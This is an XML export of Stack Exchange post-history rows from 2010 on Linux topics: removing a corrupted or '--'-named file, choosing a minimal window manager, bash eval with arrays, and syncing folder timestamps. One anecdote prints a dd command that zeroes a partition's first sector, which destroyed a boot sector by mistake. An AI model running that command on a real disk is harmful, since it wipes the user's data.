  <row Id="2971" PostHistoryTypeId="2" PostId="1511" RevisionGUID="a7f1ed98-4a38-4f0a-82ad-9c836810c91a" CreationDate="2010-09-02T17:16:12.283" UserId="1392" Text="How to remove a file that is corrupted?&#xD;&#xA;&#xD;&#xA;In Linux (Fedora based), when I type: `ll` I get&#xD;&#xA;&#xD;&#xA;    drwxr-xr-x.  2 dmiller3 dmiller3     4096 Jul 26 13:57 SomeFile&#xD;&#xA;    ??????????   ? ? ?                   4096 Jul 26 13:57 CorruptedFile  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;I can't do anything with this CorruptedFile. I can't use it in delete or anything. It's the only file in the entire system that is like this. What causes this, and how can I remove it?&#xD;&#xA;&#xD;&#xA;File system is ext2.&#xD;&#xA;" />
  <row Id="2972" PostHistoryTypeId="1" PostId="1511" RevisionGUID="a7f1ed98-4a38-4f0a-82ad-9c836810c91a" CreationDate="2010-09-02T17:16:12.283" UserId="1392" Text="Remove a corrupted file in a Fedora based system." />
  <row Id="2973" PostHistoryTypeId="3" PostId="1511" RevisionGUID="a7f1ed98-4a38-4f0a-82ad-9c836810c91a" CreationDate="2010-09-02T17:16:12.283" UserId="1392" Text="éfedoraàéfilesà" />
  <row Id="2974" PostHistoryTypeId="6" PostId="604" RevisionGUID="f1a1da60-c5c2-4e80-8df7-133df4704cd0" CreationDate="2010-09-02T17:23:20.617" UserId="446" Comment="edited title" Text="écommandölineàélessàémoreà" />
  <row Id="2975" PostHistoryTypeId="4" PostId="604" RevisionGUID="f1a1da60-c5c2-4e80-8df7-133df4704cd0" CreationDate="2010-09-02T17:23:20.617" UserId="446" Comment="edited title" Text="Isn't less just more?" />
  <row Id="2976" PostHistoryTypeId="2" PostId="1512" RevisionGUID="8756bc82-a533-4765-bab1-4a9465daee50" CreationDate="2010-09-02T17:40:17.290" UserId="29" Text="you could have been writing to a file during a hard reset, or your hard drive could have problems. a `fsck` should fix it. I'd check `dmesg` and `smartctl -a /dev/hdx` (latter is part of smartmontools ) to see if your HD is reporting any errors. I'd also run a non-destructive `badblocks` on the partition.&#xD;&#xA;&#xD;&#xA;You should also ask yourself why you are running ext2, because journaling tends to help with these kinds of problems." />
  <row Id="2977" PostHistoryTypeId="6" PostId="1511" RevisionGUID="bc5afcd2-52d9-4d4f-898b-3da7ed028399" CreationDate="2010-09-02T17:42:09.843" UserId="29" Comment="edited tags" Text="éfilesystemsàéfilesàéhardwareàéext2à" />
  <row Id="2978" PostHistoryTypeId="5" PostId="1512" RevisionGUID="33591855-0b72-4eea-87a1-7ac2fa5285c5" CreationDate="2010-09-02T17:49:13.853" UserId="29" Comment="note umount" Text="you could have been writing to a file during a hard reset, or your hard drive could have problems. a `fsck` should fix it (you will have to `umount` the fs to do this). I'd check `dmesg` and `smartctl -a /dev/hdx` (latter is part of smartmontools ) to see if your HD is reporting any errors. I'd also run a non-destructive `badblocks` on the partition.&#xD;&#xA;&#xD;&#xA;You should also ask yourself why you are running ext2, because journaling tends to help with these kinds of problems." />
  <row Id="2979" PostHistoryTypeId="6" PostId="1503" RevisionGUID="380e523c-81a6-4ad5-94a7-7d4dd0932f7b" CreationDate="2010-09-02T17:51:14.893" UserId="29" Comment="edited tags" Text="éubuntuàéxorgàékeyboardà" />
  <row Id="2980" PostHistoryTypeId="2" PostId="1513" RevisionGUID="cf5f966b-5eae-4feb-99b7-6a6aecac5f57" CreationDate="2010-09-02T17:55:01.517" UserId="1071" Text="The Wikipedia page on &lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_X_window_managers&quot;&gt;Comparison of X Window Managers&lt;/a&gt; sorts the various Window Managers into four categories: Heavyweight, Middleweight, Lightweight, and minimal. You'd probably be interested in those in the minimal category. &#xD;&#xA;&#xD;&#xA;Right now, those include Matchbox, sithWM, evilwm, dwm, WMFS, wmii, and scrotwm. (i3 gets put into Lightweight; Xfwm used by Xfce and Openbox used by LXDE are both considered Middleweight by this classification.)&#xD;&#xA;&#xD;&#xA;I don't know what grounds were used to sort these out, and haven't tried enough of these to know how accurate it is. &#xD;&#xA;&#xD;&#xA;Regarding the point you made about Compiz standalone, however, I would not consider that more lightweight than using LXDE with Openbox or XFCE with XFWM. Compiz is a resource beast; using it alone is not going to be much different than using it under GNOME, so long as you don't load anything in GNOME you don't need. (Remember that XFCE and LXDE are desktop environments; you could run their default window managers without using the rest of these desktop environments, just like you can run Compiz without a Desktop environment too.)" />
  <row Id="2981" PostHistoryTypeId="5" PostId="1513" RevisionGUID="54cd31fd-b4ba-485f-90f9-29aab07d97bb" CreationDate="2010-09-02T18:00:56.493" UserId="1071" Comment="added 26 characters in body; added 104 characters in body" Text="The Wikipedia page on &lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_X_window_managers&quot;&gt;Comparison of X Window Managers&lt;/a&gt; sorts the various Window Managers into four categories: Heavyweight, Middleweight, Lightweight, and minimal. You'd probably be interested in those in the minimal category. &#xD;&#xA;&#xD;&#xA;Right now, those include Matchbox, sithWM, evilwm, dwm, WMFS, wmii, and scrotwm. (i3 gets put into Lightweight; Xfwm (used by default in Xfce) and Openbox (used by default in LXDE) are both considered Middleweight by this classification.)&#xD;&#xA;&#xD;&#xA;I don't know what grounds were used to sort these out, and haven't tried enough of these to know how accurate it is. &#xD;&#xA;&#xD;&#xA;Regarding the point you made about Compiz standalone, however, I would not consider that more lightweight than using LXDE with Openbox or XFCE with XFWM. Compiz is a resource beast; using it alone is not going to be much different than using it under GNOME, so long as you don't load anything in GNOME you don't need. &#xD;&#xA;&#xD;&#xA;(Remember that XFCE and LXDE are desktop environments; you could run their default window managers without using the rest of these desktop environments, just like you can run Compiz without a Desktop environment too. Well, at least I know you can run Openbox without LXDE. I've never tried running XFWM without XFCE.)" />
  <row Id="2982" PostHistoryTypeId="2" PostId="1514" RevisionGUID="9ce76309-c235-4df4-bc11-13ec303d5a52" CreationDate="2010-09-02T18:02:30.797" UserId="1394" Text="Company that i used to work for had its product running on SCO. I was doing some debugging about application getting very slow on our demo server and at the same time there was a bunch of customers being given a demo / lecture about upcoming new features.&#xD;&#xA;&#xD;&#xA;So, i ran the application that used to get stuck.. did my stuff on it to verify the root cause but since it was still &quot;stuck&quot;, i tried to kill it:&#xD;&#xA;&#xD;&#xA;`pkill -9 mytestapplication`&#xD;&#xA;&#xD;&#xA;What i did learn was that pkill doesn't do exactly the same on sco as it does on linux =)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2983" PostHistoryTypeId="16" PostId="1514" RevisionGUID="9ce76309-c235-4df4-bc11-13ec303d5a52" CreationDate="2010-09-02T18:02:30.797" UserId="-1" />
  <row Id="2984" PostHistoryTypeId="2" PostId="1515" RevisionGUID="19836875-dde7-488f-8f84-deb157cdaf7c" CreationDate="2010-09-02T18:06:57.290" UserId="1397" Text="My engineers love [ratpoison][1] as a minimalist window manager.&#xD;&#xA;&#xD;&#xA;When I want lightweight, I go through the pain of rebuilding Open Look (olwm and olvwm), although I have not wanted that much pain for a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://savannah.nongnu.org/projects/ratpoison" />
  <row Id="2985" PostHistoryTypeId="2" PostId="1516" RevisionGUID="f77ef338-87c2-4086-bb55-7a25e814e59a" CreationDate="2010-09-02T18:22:22.277" UserId="1399" Text="Back in the day you had to do erase the first 512 bytes of a partition to properly format FAT drives from Linux.  This is done using the `dd` command. &#xD;&#xA;&#xD;&#xA;dd if=/dev/zero of=/dev/hda1 bs=512 count=1&#xD;&#xA;&#xD;&#xA;Except the FAT partition was /dev/hdb1&#xD;&#xA;&#xD;&#xA;I didn't realize what happened until after I rebooted.  Luckily I was able to recover it by re-installing Lilo, or something." />
  <row Id="2986" PostHistoryTypeId="16" PostId="1516" RevisionGUID="f77ef338-87c2-4086-bb55-7a25e814e59a" CreationDate="2010-09-02T18:22:22.277" UserId="-1" />
  <row Id="2987" PostHistoryTypeId="5" PostId="1511" RevisionGUID="29d10aa1-ba1d-4c78-aa5b-d6c3e840e0fe" CreationDate="2010-09-02T18:26:35.207" UserId="73" Comment="added 3 characters in body; edited tags; edited title" Text="How to remove a file that is corrupted?&#xD;&#xA;&#xD;&#xA;In Linux (Fedora based), when I type: `ls -l` I get&#xD;&#xA;&#xD;&#xA;    drwxr-xr-x.  2 dmiller3 dmiller3     4096 Jul 26 13:57 SomeFile&#xD;&#xA;    ??????????   ? ? ?                   4096 Jul 26 13:57 CorruptedFile  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;I can't do anything with this CorruptedFile. I can't use it in delete or anything. It's the only file in the entire system that is like this. What causes this, and how can I remove it?&#xD;&#xA;&#xD;&#xA;File system is ext2.&#xD;&#xA;" />
  <row Id="2988" PostHistoryTypeId="4" PostId="1511" RevisionGUID="29d10aa1-ba1d-4c78-aa5b-d6c3e840e0fe" CreationDate="2010-09-02T18:26:35.207" UserId="73" Comment="added 3 characters in body; edited tags; edited title" Text="Remove a corrupted file in a Linux system." />
  <row Id="2989" PostHistoryTypeId="6" PostId="1511" RevisionGUID="29d10aa1-ba1d-4c78-aa5b-d6c3e840e0fe" CreationDate="2010-09-02T18:26:35.207" UserId="73" Comment="added 3 characters in body; edited tags; edited title" Text="éfilesystemsàéhardwareàéfilesàéext2à" />
  <row Id="2990" PostHistoryTypeId="2" PostId="1517" RevisionGUID="7c611ed3-a8df-49e6-88e8-fd2903eec19d" CreationDate="2010-09-02T18:38:07.170" UserId="1290" Text="I used [jwm][1] for quite a while on my old 199MHz Laptop with only 32MB RAM.&#xD;&#xA;&#xD;&#xA;Worked quite well and was looking quite good. Configuration is also nicely done with an XML file.&#xD;&#xA;&#xD;&#xA;  [1]: http://joewing.net/programs/jwm/" />
  <row Id="2991" PostHistoryTypeId="2" PostId="1518" RevisionGUID="b9865c50-45e3-4a2e-a73f-b360bec07a5a" CreationDate="2010-09-02T18:58:52.703" UserId="29" Text="Before I moved to KDE I was a hardcore [Fluxbox][1] user. It has command interface *fbrun* that can be used to launch programs along with a rightclick customizable menu. It also has window tabs, I believe it's one of the first WM's to have this. IIRC Fluxbox is the WM that [Damn Small Linux][2]&#xD;&#xA;uses.&#xD;&#xA;&#xD;&#xA;  [1]: http://fluxbox.org/&#xD;&#xA;  [2]: http://www.damnsmalllinux.org/" />
  <row Id="2992" PostHistoryTypeId="5" PostId="256" RevisionGUID="4d5f6774-5b4f-4dee-a499-fac0db8bd49c" CreationDate="2010-09-02T19:08:47.573" UserId="184" Comment="added 4 characters in body" Text="I see some people make separate Partition for /boot!&#xD;&#xA;what is the benefit of this?&#xD;&#xA;&#xD;&#xA;what problem may be I encounter in **future** by doing this?&#xD;&#xA;&#xD;&#xA;P.S: except /home and /boot which partition can be separated? is it recommended?&#xD;&#xA;" />
  <row Id="2993" PostHistoryTypeId="5" PostId="1487" RevisionGUID="c65a9849-449c-4172-90eb-ef7f691e62f8" CreationDate="2010-09-02T19:09:55.093" UserId="29" Comment="fix the Xcfe mispelling and add tags" Text="I recently switched over to Xfce and really enjoy it. However, when I went in to my settings to change the appearance, the theme that I liked best was &quot;Xfce-dusk&quot; with one exception:&#xD;&#xA;&#xD;&#xA;The default colors for application tabs are so dark that it's hard to tell where they are.&#xD;&#xA;&#xD;&#xA;I hunted around for a little while looking anywhere I could to see where the styles for the tabs are set in the theme configuration file and couldn't find anything that looked like it would do what I need.&#xD;&#xA;&#xD;&#xA;The file I've found to define the theme was:&#xD;&#xA;&#xD;&#xA;    /usr/share/themes/Xfce-dusl/gtk-2.0/gtkrc&#xD;&#xA;&#xD;&#xA;But looking through that file, I can't find anything that seems to apply.&#xD;&#xA;&#xD;&#xA;Any suggestions? Normally I'm a command-line only sort of guy and don't really know much about WMs or theming, and don't even know the terms of what I'm trying to modify, so my Google searches are coming up painfully empty.&#xD;&#xA;&#xD;&#xA;Here is [a screenshot of the type of tabs I want to modify](http://imgur.com/x8ti6.png)." />
  <row Id="2994" PostHistoryTypeId="4" PostId="1487" RevisionGUID="c65a9849-449c-4172-90eb-ef7f691e62f8" CreationDate="2010-09-02T19:09:55.093" UserId="29" Comment="fix the Xcfe mispelling and add tags" Text="How do I change Xfce 4 &quot;theme&quot; tab colors?" />
  <row Id="2995" PostHistoryTypeId="6" PostId="1487" RevisionGUID="c65a9849-449c-4172-90eb-ef7f691e62f8" CreationDate="2010-09-02T19:09:55.093" UserId="29" Comment="fix the Xcfe mispelling and add tags" Text="éwindowömanageràéappearanceàéxfceàégtkö2à" />
  <row Id="2996" PostHistoryTypeId="5" PostId="1487" RevisionGUID="c4006d55-7e1d-4cb2-8561-accab75484af" CreationDate="2010-09-02T19:18:01.813" UserId="29" Comment="don't store image offsite" Text="I recently switched over to Xfce and really enjoy it. However, when I went in to my settings to change the appearance, the theme that I liked best was &quot;Xfce-dusk&quot; with one exception:&#xD;&#xA;&#xD;&#xA;The default colors for application tabs are so dark that it's hard to tell where they are.&#xD;&#xA;&#xD;&#xA;I hunted around for a little while looking anywhere I could to see where the styles for the tabs are set in the theme configuration file and couldn't find anything that looked like it would do what I need.&#xD;&#xA;&#xD;&#xA;The file I've found to define the theme was:&#xD;&#xA;&#xD;&#xA;    /usr/share/themes/Xfce-dusl/gtk-2.0/gtkrc&#xD;&#xA;&#xD;&#xA;But looking through that file, I can't find anything that seems to apply.&#xD;&#xA;&#xD;&#xA;Any suggestions? Normally I'm a command-line only sort of guy and don't really know much about WMs or theming, and don't even know the terms of what I'm trying to modify, so my Google searches are coming up painfully empty.&#xD;&#xA;&#xD;&#xA;Here is a screenshot of the type of tabs I want to modify![a screenshot of the type of tabs I want to modify][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/PjxGk.png" />
  <row Id="2997" PostHistoryTypeId="5" PostId="256" RevisionGUID="d3f6dc66-ffc7-47c0-b063-dddf1721602f" CreationDate="2010-09-02T19:20:24.573" UserId="73" Comment="added 32 characters in body; edited title" Text="I've seen some people make a separate partition for `/boot`. What is the benefit of doing this? What problems might I encounter in the **future** by doing this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Also, except for `/home` and `/boot`, which partitions can be separated? Is it recommended?&#xD;&#xA;" />
  <row Id="2998" PostHistoryTypeId="4" PostId="256" RevisionGUID="d3f6dc66-ffc7-47c0-b063-dddf1721602f" CreationDate="2010-09-02T19:20:24.573" UserId="73" Comment="added 32 characters in body; edited title" Text="Is it good to make a separate partition for /boot?" />
  <row Id="2999" PostHistoryTypeId="2" PostId="1519" RevisionGUID="e1276a02-ae13-4bef-b550-30a10343d44d" CreationDate="2010-09-02T19:30:42.500" UserId="361" Text="How do you remove a file that has special characters in the name?  I'm ssh'd into a remote OSX server and I have this file in my directory:&#xD;&#xA;&#xD;&#xA;    tohru:~ $ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    -rw-r--r--    1 me  staff  1352 Aug 18 14:33 --help&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;How in the world can I delete --help from a CLI?  This issue is something that I come across in different forms on occasion, these files are easy to create, but hard to get rid of.&#xD;&#xA;&#xD;&#xA;I have tried using backslash&#xD;&#xA;&#xD;&#xA;    rm \-\-help&#xD;&#xA;&#xD;&#xA;I have tried quotes&#xD;&#xA;&#xD;&#xA;    rm &quot;--help&quot;&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" />
  <row Id="3000" PostHistoryTypeId="1" PostId="1519" RevisionGUID="e1276a02-ae13-4bef-b550-30a10343d44d" CreationDate="2010-09-02T19:30:42.500" UserId="361" Text="How do I delete a file with special characters in the filename" />
  <row Id="3001" PostHistoryTypeId="3" PostId="1519" RevisionGUID="e1276a02-ae13-4bef-b550-30a10343d44d" CreationDate="2010-09-02T19:30:42.500" UserId="361" Text="éshellàébashà" />
  <row Id="3002" PostHistoryTypeId="2" PostId="1520" RevisionGUID="4cedf5fe-f51f-444e-b486-adb3a05c2bbe" CreationDate="2010-09-02T19:34:14.320" UserId="1404" Text="Use &quot;--&quot; to make rm stop parsing command line options, like this:&#xD;&#xA;&#xD;&#xA;    rm -- --help&#xD;&#xA;" />
  <row Id="3003" PostHistoryTypeId="6" PostId="1519" RevisionGUID="0636a9d7-7747-48a4-9c0c-72f44646cd87" CreationDate="2010-09-02T19:41:07.847" UserId="29" Comment="not really bash specific" Text="écommandölineàéshellà" />
  <row Id="3004" PostHistoryTypeId="2" PostId="1521" RevisionGUID="16195e24-5158-4b44-a760-dfee09713041" CreationDate="2010-09-02T20:38:29.283" UserId="382" Text="Aliases can't be exported so they're not available in shell scripts in which they aren't defined. In other words, if you define them in `~/.bashrc` they're not available to `your_script.sh` (unless you source `~/.bashrc` in the script, which I wouldn't recommend but there are ways to do this properly).&#xD;&#xA;&#xD;&#xA;However, functions can be exported and would be available to shell scripts that are run from an environment in which they are defined.&#xD;&#xA;&#xD;&#xA;As the Bash manual says, &quot;For almost every purpose, shell functions are preferred over aliases.&quot;" />
  <row Id="3005" PostHistoryTypeId="2" PostId="1522" RevisionGUID="606ac32e-57ff-4159-bcf7-fc5018acb4f8" CreationDate="2010-09-02T20:54:34.513" UserDisplayName="bsergean" Text="One big difference is that X11 integration is a little different. X11 app will not looks good on a Mac, you have to manually start an XServer that's not given too much love. Other than that I think it's a Mach micro-kernel with the FreeBSD network stack, and the userland is like Linux." />
  <row Id="3007" PostHistoryTypeId="2" PostId="1524" RevisionGUID="f60b6345-22c3-4438-9b32-760c2bbb34e0" CreationDate="2010-09-02T21:16:57.343" UserId="1410" Text="I was wondering if anyone knows how to change the timestamps of folders recursively based on the latest timestamp found of the files in that folder.&#xD;&#xA;&#xD;&#xA;So for example:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;jon@UbuntuPanther:/media/media/MP3s/Foo Fighters/(1997-05-20) The Colour and The Shape$ ls -alF&#xD;&#xA;total 55220&#xD;&#xA;drwxr-xr-x  2 jon jon    4096 2010-08-30 12:34 ./&#xD;&#xA;drwxr-xr-x 11 jon jon    4096 2010-08-30 12:34 ../&#xD;&#xA;-rw-r--r--  1 jon jon 1694044 2010-04-18 00:51 Foo Fighters - Doll.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 3151170 2010-04-18 00:51 Foo Fighters - Enough Space.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 5004289 2010-04-18 00:52 Foo Fighters - Everlong.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 5803125 2010-04-18 00:51 Foo Fighters - February Stars.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 4994903 2010-04-18 00:51 Foo Fighters - Hey, Johnny Park!.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 4649556 2010-04-18 00:52 Foo Fighters - Monkey Wrench.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 5216923 2010-04-18 00:51 Foo Fighters - My Hero.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 4294291 2010-04-18 00:52 Foo Fighters - My Poor Brain.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 6778011 2010-04-18 00:52 Foo Fighters - New Way Home.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 2956287 2010-04-18 00:51 Foo Fighters - See You.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 2730072 2010-04-18 00:51 Foo Fighters - Up in Arms.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 6086821 2010-04-18 00:51 Foo Fighters - Walking After You.mp3&#xD;&#xA;-rw-r--r--  1 jon jon 3033660 2010-04-18 00:52 Foo Fighters - Wind Up.mp3&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The folder &quot;(1997-05-20) The Colour and The Shape&quot; would have its timestamp set to 2010-04-18 00:52.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="3008" PostHistoryTypeId="1" PostId="1524" RevisionGUID="f60b6345-22c3-4438-9b32-760c2bbb34e0" CreationDate="2010-09-02T21:16:57.343" UserId="1410" Text="How do I change folder timestamps recursively?" />
  <row Id="3009" PostHistoryTypeId="3" PostId="1524" RevisionGUID="f60b6345-22c3-4438-9b32-760c2bbb34e0" CreationDate="2010-09-02T21:16:57.343" UserId="1410" Text="éshellà" />
  <row Id="3010" PostHistoryTypeId="2" PostId="1525" RevisionGUID="0e2e318b-1e68-40b5-adb8-46050bcba282" CreationDate="2010-09-02T21:26:46.617" UserId="73" Text="That's not &quot;recursively&quot;, it's just changing all the timestamps in a folder. If that's what you mean, there's two steps.&#xD;&#xA;&#xD;&#xA;&lt;s&gt;`stat -c '%Y' filename` will output the timestamp of `filename`, and `stat -c '%Y %n' *` will output the timestamp and filename of every file in the folder, so this will find the filename of the most recently modified file in the current folder:&#xD;&#xA;&#xD;&#xA;    mostrecent=&quot;`stat -c '%Y %n' * | sort -n | tail -n1 | cut -d ' ' -f '2-'`&quot;&#xD;&#xA;&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;On second thought, there's a *way* easier way to get the highest timestamp in the folder:&#xD;&#xA;&#xD;&#xA;    mostrecent=&quot;`ls -t | head -n1`&quot;&#xD;&#xA;&#xD;&#xA;Then you want to change all the files in the folder to have the same timestamp as that file. `touch -r foo bar` will change `bar` to have the same modified timestamp as `foo`, so this will change all the files in the folder to have the same modified timestamp as your most recently modified file:&#xD;&#xA;&#xD;&#xA;    touch -r &quot;$mostrecent&quot; *&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;So, the one-liner is:&#xD;&#xA;&#xD;&#xA;    touch -r &quot;`ls -t | head -n1`&quot; *&#xD;&#xA;" />
  <row Id="3011" PostHistoryTypeId="2" PostId="1526" RevisionGUID="0a3e7418-d610-4f5f-9273-e48274a5e342" CreationDate="2010-09-02T21:39:20.883" UserId="885" Text="Here are two solutions. In each solution, the first command changes the modification time of the directory to that of the newest file immediately under it, and the second command looks at the whole directory tree recursively. Change to the directory (`cd '.../(1997-05-20) The Colour and The Shape'`) before running any of the commands.&#xD;&#xA;&#xD;&#xA;In zsh (remove the `D` to ignore dot files):&#xD;&#xA;&#xD;&#xA;    touch -r *(Dom[1]) .&#xD;&#xA;    touch -r **/*(Dom[1]) .&#xD;&#xA;&#xD;&#xA;On Linux (or more generally with GNU find):&#xD;&#xA;&#xD;&#xA;    touch -r &quot;$(find -mindepth 1 -maxdepth 1 -printf '%T+=%p\n' |&#xD;&#xA;                sort -n |tail -n 1 | sed 's/[^=]*=//')&quot; .&#xD;&#xA;    touch -r &quot;$(find -mindepth 1 -printf '%T+=%p\n' |&#xD;&#xA;                sort -n |tail -n 1 | sed 's/[^=]*=//')&quot; .&#xD;&#xA;" />
  <row Id="3012" PostHistoryTypeId="5" PostId="1519" RevisionGUID="01b347c5-409b-459f-8048-3fe1227cc2ff" CreationDate="2010-09-02T21:51:33.427" UserId="73" Comment="deleted 6 characters in body; edited title" Text="How do you remove a file whose filename begins with &quot;--&quot;?  I'm ssh'd into a remote OSX server and I have this file in my directory:&#xD;&#xA;&#xD;&#xA;    tohru:~ $ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    -rw-r--r--    1 me  staff  1352 Aug 18 14:33 --help&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;How in the world can I delete `--help` from a CLI?  This issue is something that I come across in different forms on occasion, these files are easy to create, but hard to get rid of.&#xD;&#xA;&#xD;&#xA;I have tried using backslash&#xD;&#xA;&#xD;&#xA;    rm \-\-help&#xD;&#xA;&#xD;&#xA;I have tried quotes&#xD;&#xA;&#xD;&#xA;    rm &quot;--help&quot;&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" />
  <row Id="3013" PostHistoryTypeId="4" PostId="1519" RevisionGUID="01b347c5-409b-459f-8048-3fe1227cc2ff" CreationDate="2010-09-02T21:51:33.427" UserId="73" Comment="deleted 6 characters in body; edited title" Text="How do I delete a file whose name begins with &quot;--&quot;?" />
  <row Id="3014" PostHistoryTypeId="2" PostId="1527" RevisionGUID="422982d8-f42a-4666-b64c-31bb9a304f3d" CreationDate="2010-09-02T22:07:13.947" UserId="317" Text="here is my bash case&#xD;&#xA;&#xD;&#xA;first case, this what i want to do &quot;aliasing&quot; `var` with `myvarA`&#xD;&#xA;&#xD;&#xA;	myvarA=&quot;variableA&quot;&#xD;&#xA;	varname=&quot;A&quot;&#xD;&#xA;	eval varAlias=\$&quot;myvar&quot;$varname&#xD;&#xA;	echo $varAlias&#xD;&#xA;&#xD;&#xA;second case for array variable and looping its members, which is trivial&#xD;&#xA;&#xD;&#xA;    myvarA=( &quot;variableA1&quot; &quot;variableA2&quot; )&#xD;&#xA;    for varItem in ${myvarA[@]}&#xD;&#xA;    do&#xD;&#xA;        echo $varItem&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;now somehow i need to use &quot;aliasing&quot; technique like example 1, but this time for array variable:&#xD;&#xA;&#xD;&#xA;    eval varAlias=\$&quot;myvar&quot;$varname&#xD;&#xA;    for varItem in ${varAlias[@]}&#xD;&#xA;    do&#xD;&#xA;        echo $varItem&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;but for last case, only first member of `myvarA` is printed, which is `eval` evaluate to value of the variable, how should I do var array variable so `eval` is evaluate to the **name of array variable** not the **value of the variable**" />
  <row Id="3015" PostHistoryTypeId="1" PostId="1527" RevisionGUID="422982d8-f42a-4666-b64c-31bb9a304f3d" CreationDate="2010-09-02T22:07:13.947" UserId="317" Text="bash eval array variable name" />
  <row Id="3016" PostHistoryTypeId="3" PostId="1527" RevisionGUID="422982d8-f42a-4666-b64c-31bb9a304f3d" CreationDate="2010-09-02T22:07:13.947" UserId="317" Text="élinuxàébashàéscriptingàéarrayà" />
  <row Id="3017" PostHistoryTypeId="2" PostId="1528" RevisionGUID="32eefd3d-d5be-4072-bbfd-1e7e04ee6014" CreationDate="2010-09-02T22:28:09.990" UserId="317" Text="sorry, I solved it myself, last example should be like this :&#xD;&#xA;&#xD;&#xA;    eval varAlias=\${&quot;myvar&quot;$varname[@]}&#xD;&#xA;    for varItem in ${varAlias[@]}&#xD;&#xA;    do&#xD;&#xA;        echo $varItem&#xD;&#xA;    done" />
  <row Id="3018" PostHistoryTypeId="2" PostId="1529" RevisionGUID="65906448-7233-4577-ac21-3a56165730d7" CreationDate="2010-09-02T23:56:26.220" UserId="1417" Text="Or you can do&#xD;&#xA;&#xD;&#xA;    rm ./--help" />
  <row Id="3019" PostHistoryTypeId="2" PostId="1530" RevisionGUID="1f68ca37-cdf7-4b51-90ba-4e35dc441d16" CreationDate="2010-09-03T00:18:09.883" UserId="1187" Text="I'm trying to csup and i'm getting &quot;Invalid greeting from server&quot;&#xD;&#xA;&#xD;&#xA;    su-3.2# /usr/bin/csup -z -h cvsup.freebsd.org /usr/share/examples/cvsup/standard-supfile&#xD;&#xA;    Connected to 72.233.193.64&#xD;&#xA;    Invalid greeting from server&#xD;&#xA;    su-3.2# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3020" PostHistoryTypeId="1" PostId="1530" RevisionGUID="1f68ca37-cdf7-4b51-90ba-4e35dc441d16" CreationDate="2010-09-03T00:18:09.883" UserId="1187" Text="Invalid greeting from server" />
  <row Id="3021" PostHistoryTypeId="3" PostId="1530" RevisionGUID="1f68ca37-cdf7-4b51-90ba-4e35dc441d16" CreationDate="2010-09-03T00:18:09.883" UserId="1187" Text="éfreebsdà" />
  <row Id="3022" PostHistoryTypeId="2" PostId="1531" RevisionGUID="42b15cbc-e137-48eb-aff6-a25fe7f19fa9" CreationDate="2010-09-03T01:11:00.240" UserId="1418" Text="I currently use openSUSE, but have used Fedora in the past. I changed because Fedora stopped working for the video card I had. openSUSE is sensitive to video cards, too. Though, most of the Nvidia cards work. An ATI board I bought once, didn't work, and it is still in the box unused. &#xD;&#xA;&#xD;&#xA;Check as much as you can, before deciding, whether a distro supports your video card. If you have problems with the video, it's probably easiest to try another distro.  " />
  <row Id="3023" PostHistoryTypeId="16" PostId="1531" RevisionGUID="42b15cbc-e137-48eb-aff6-a25fe7f19fa9" CreationDate="2010-09-03T01:11:00.240" UserId="-1" />
  <row Id="3025" PostHistoryTypeId="2" PostId="1533" RevisionGUID="7de4216a-ab3e-4a1a-9955-48918a998e5b" CreationDate="2010-09-03T02:13:28.103" UserId="458" Text="Since this got no response I asked this question and got an answer here: &#xD;&#xA;&#xD;&#xA;&lt;http://stackoverflow.com/questions/3620798/how-do-i-make-the-1-9-2-ruby-string-point-to-the-final-release-with-rvm&gt;" />
  <row Id="3026" PostHistoryTypeId="2" PostId="1534" RevisionGUID="ef8dad9c-0c93-49ad-aac4-31a00146db30" CreationDate="2010-09-03T04:17:57.533" UserId="160" Text="This means that the server is down.  It might be updating or have a problem; try again later." />
  <row Id="3027" PostHistoryTypeId="2" PostId="1535" RevisionGUID="72b1938a-51b1-4ff8-8db9-d988d4e74d1f" CreationDate="2010-09-03T04:19:20.940" UserId="1422" Text="echo test | sudo dd of=/tmp/foo&#xD;&#xA;" />
  <row Id="3028" PostHistoryTypeId="5" PostId="1535" RevisionGUID="c5d55de6-1afa-40d8-9f49-007d99828518" CreationDate="2010-09-03T04:23:37.460" UserId="73" Comment="added 4 characters in body" Text="    echo test | sudo dd of=/tmp/foo&#xD;&#xA;" />
